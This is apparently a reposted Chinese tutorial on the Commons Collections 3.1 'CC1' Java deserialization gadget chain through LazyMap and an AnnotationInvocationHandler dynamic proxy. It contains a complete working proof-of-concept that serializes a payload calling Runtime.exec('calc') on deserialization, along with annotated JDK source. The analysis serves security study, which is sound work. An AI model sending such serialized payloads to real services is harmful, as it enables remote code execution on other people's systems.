CC1-LazyMap

分析下ysoserial中CC1的利用链

分析版本

Commons Collections 3.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

与TransformerMap的CC1不同的是,在寻找InvokeTransformer.transform的方法调用时,我们选择LazyMap的get方法。

    public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {      //进入此判断Object value = factory.transform(key);//factory为InvokeTransformermap.put(key, value);return value;}return map.get(key);}

之后找get的方法调用,这里作者找到的还是AnnotationInvocationHandler类中的invoke方法。其实AnnotationInvocationHandler类实现了InvocationHandler,是java动态代理的写法,invoke方法是代理调用方法时调用自动调用的。java动态代理可以参考JDK动态代理

    public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();                  //这里member取的是动态代理代理的方法名字Class<?>[] paramTypes = method.getParameterTypes();//返回方法参数类型// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 && //不能进此循环 保证代理的方法名不是equals 方法参数数量不为1 并且 第一个参数类型不是Object类paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)                              //不能进次循环 方法数量不为1throw new AssertionError("Too many parameters for an annotation method");switch(member) {                                   //方法名字不能为toString hashCode annotationTypecase "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);          //构造方法输入的可控Map<String, Object> memberValues,调用get 也就是LazyMap调用getif (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;}

更新Poc

这里动态代理是调用的Map的isEmpty()方法。方法没有参数,并且名字不为toString hashCode annotationType

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//反射实例化AnnotationInvocationHandlerClass c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);constructor.setAccessible(true);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map lazyMap1 = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);lazyMap1.isEmpty();

写到这里还没结束,因为我们最后要找到反序列化readObject方法。

作者这里用的还是AnnotationInvocationHandler类重写的readObject方法

因为在反序列化时要调用invoke方法,所以要保证代理调用了方法(方法满足方法没有参数,并且名字不为toString hashCode annotationType)。

在这里正好有个memberValues.entrySet(),memberValues是我们能控制的Map类,而entrySet()方法正好没有参数,并且名字不为toString hashCode annotationType。

这里就不用像CC1 TransformsMap链注意注释类的传参了,因为我们只要执行到for (Map.Entry<String, Object> memberValue : memberValues.entrySet())这行就可以。

其实也可以找其他满足条件的类,不一定是AnnotationInvocationHandler类。

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  //遍历Map<String, object> memberValues是Map类 memberValue是键值对String name = memberValue.getKey();                     //取键值对的key, memberValueClass<?> memberType = memberTypes.get(name);            //返回key对应的映射(Value), Class<? extends Annotation> typeif (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的keyObject value = memberValue.getValue();              //取键值对的value, memberValueif (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberTypevalue instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象memberValue.setValue(                           //memberValue需要设置为AbstractInputCheckedMapDecoratornew AnnotationTypeMismatchExceptionProxy(   //runtimevalue.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

最后的Poc

public class cc1_poc_lazyMap {public static void serialize(Object obj) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws Exception {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//反射实例化AnnotationInvocationHandlerClass c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);constructor.setAccessible(true);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); //动态代理//System.out.println(lazyMap1.isEmpty());//lazyMap1.isEmpty();Object annotationInvocationHandler1 = constructor.newInstance(Target.class, mapProxy);serialize(annotationInvocationHandler1);unserialize("ss.ser");}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/39409.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

d3dcompiler_47.dll缺失怎么修复?d3dcompiler_47.dll修复使用说明

d3dcompiler_47.dll是一个重要的系统文件&#xff0c;属于MicrosoftWindows操作系统中Direct3D的一部分&#xff0c;它主要负责处理在Windows上运行的应用程序和游戏中的3D图形编程。这个DLL文件是“DirectX”的一项组成部分&#xff0c;DirectX是一套核心技术&#xff0c;用于…

c++输入一位五位整数 分解五位数字 数字间两个空格逆序排列

下面是一个示例C代码&#xff0c;用于输入一个五位整数并将其分解成五个数字&#xff0c;然后将数字间的两个空格逆序排列&#xff1a; #include <iostream> #include <string>int main() {// 输入一个五位整数int number;std::cout << "请输入一个五位…

13-Django项目--文件上传

目录 前端展示 路由: 数据库字段: 函数视图: 前端展示 {% extends "index/index.html" %}{% block content %}<div class"container"><input type"button" id"btnAdd" value"上传荣耀" class"btn btn-succ…

Oracle 集群的守护进程

ohas&#xff1a;主要用于守护cluster ware进程&#xff0c;在单节点建立集群的时候&#xff0c;没有crs&#xff0c;只有ohas、cluster ware GPnP&#xff1a;管理clusterware的配置信息&#xff0c;放在本地磁盘上 crs&#xff1a;管理clusterware中的资源&#xff0c;数据库…

感知机总结

感知机是什么 是一种简单的二分类的模型。并且是神经网络的基础。单层感知机可以实现线性分类&#xff0c;无法做到非线性分类。所以也无法处理异或问题。 感知机是如何实现分类的 感知机有几部分组成&#xff1a;输入变量、偏置、求和函数&#xff0c;激活函数&#xff0c;…

成功解决ES高亮内容引起的字段显示不一致问题

在处理搜索引擎&#xff08;如Elasticsearch&#xff09;结果时&#xff0c;常见需求之一是对用户搜索的关键词进行高亮显示&#xff0c;这有助于用户快速识别搜索结果为何与其查询相关。但在实际应用中&#xff0c;如果处理不当&#xff0c;直接使用高亮片段可能会导致原始数据…

A股站不稳3000点让人稀罕不已啊

今天的A股&#xff0c;让人稀罕不已&#xff0c;你知道是为什么吗&#xff1f;盘面出现2个重要信号&#xff0c;一起来看看&#xff1a; 1、今天两市冲了下3000点&#xff0c;第一个主题炒作的热点终于出现了&#xff0c;税改方向的行情发酵&#xff0c;并带动着其他改革相关方…

【JavaScript脚本宇宙】从Cypress到Nightwatch.js:全面解析前端自动化测试工具

深度剖析&#xff1a;各大前端测试框架的特点与优劣势 前言 本文将介绍六种流行的前端测试工具&#xff0c;包括Cypress、TestCafe、Selenium、Puppeteer、Playwright和Nightwatch.js。每种工具都有其独特的功能特点和优缺点&#xff0c;并在不同的使用场景中发挥作用。通过本…

echarts的折线图实现部分虚线部分实线

场景&#xff1a; 折线图一般都是实线为准&#xff0c;但是由于最后一个数据是预测。所以想要实现最后一段为虚线。 效果图&#xff1a; 具体实现&#xff1a; series:[{name: "销售总金额",type: "line",smooth: true,barWidth: 10,stack: Total,itemSty…

Ubuntu下反弹shell的思考

目录 Ubuntu的命令执行环境 bash (Bourne Again SHell): sh (Bourne SHell): dash (Debian Almquist SHell): 它们之间的关系&#xff1a; 可能遇到的问题 一、脚本权限问题 二、命令执行环境(shell解释器)问题 如何解决&#xff1f; 1.修改/bin/sh软连接的指向为bas…

【PYG】Planetoid()加载数据集中的预定义的属性和数据归一化

文章目录 Planetoid数据集属性访问这些属性示例输出解释使用数据集属性在模型中 NormalizeFeatures为什么要归一化特征NormalizeFeatures 变换示例代码整体示例总结 在 PyTorch Geometric 中&#xff0c; Planetoid 类加载的数据集具有一些预定义的属性&#xff0c;用于访问有…

Java中的服务注册与发现原理与实现

Java中的服务注册与发现原理与实现 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将深入探讨Java中的服务注册与发现的原理及其实现方式。在现代分布式…

ESP32CAM物联网教学01

ESP32CAM物联网教学01 拍照 视频 这么小的一个开发板都带上摄像头了&#xff0c;能拍照&#xff1f;能视频吗&#xff1f;现在就跟着我做起来。 初识ESP32CAM 我们到淘宝搜索“ESP32Cam”&#xff0c;就能买到这样一块开发板。 ESP32Cam是双核处理器&#xff0c;提供WIFI和…

Cyuyanzhong的内存函数

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、memcpy函数的使用与模拟实现二、memmove函数的使用和模拟实现三、memset函数与memcmp函数的使用&#xff08;一&#xff09;、memset函数&#xff08;内存块…

白骑士的C语言教学基础篇 1.4 函数与递归

系列目录 上一篇&#xff1a;白骑士的C语言教学基础篇 1.3 控制流 在这一篇内容中&#xff0c;我们将介绍C语言中的函数及其用法&#xff0c;包括函数的定义与调用、函数参数与返回值&#xff0c;以及递归函数。函数是C语言中最重要的结构之一&#xff0c;它允许我们将代码组织…

Linux shell编程学习笔记59: ps 获取系统进程信息,类似于Windows系统中的tasklist 命令

0 前言 系统进程信息是电脑网络信息安全检查中的一块重要内容&#xff0c;对于使用Linux和基于Linux作为操作系统的电脑来说&#xff0c;可以使用ps命令。 1 ps命令 的功能、格式和选项说明 1.1 ps命令 的功能 Linux 中的ps&#xff08;意为&#xff1a;process status&…

Chrome导出cookie的实战教程

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

leetcode刷题:vector刷题

​ ​ &#x1f525;个人主页&#xff1a;guoguoqiang. &#x1f525;专栏&#xff1a;leetcode刷题 1.只出现一次的数字 这道题很简单&#xff0c;我们只需要遍历一次数组即可通过异或运算实现。(一个数与自身异或结果为0&#xff0c;任何数与0异或还是它本身) class Solut…

GitHub每日最火火火项目(7.2)

Asabeneh / 30 - Days - Of - Python&#xff1a;这是一个为期30天的Python编程挑战项目&#xff0c;旨在通过逐步引导的方式帮助学习者在30天内掌握Python编程语言。然而&#xff0c;实际完成这个挑战可能需要超过100天&#xff0c;学习者可以根据自己的节奏进行。该项目还提供…

WPF UI 3D 基本概念 点线三角面 相机对象 材质对象与贴图 3D地球 光源 变形处理 动作交互 辅助交互插件 系列三

WPF UI交互专题 平面图形 Path Drawing 绘图 渐变 Brush 矩阵 Transform 变形 阴影效果 模糊效果 自定义灰度去色效果 系列二-CSDN博客 1软件中的3D基本概念 WPF 中 3D 功能的设计初衷并非提供功能齐全的游戏开发平台。 WPF 中的 3D 图形内容封装在 Viewport3D 元素中&#x…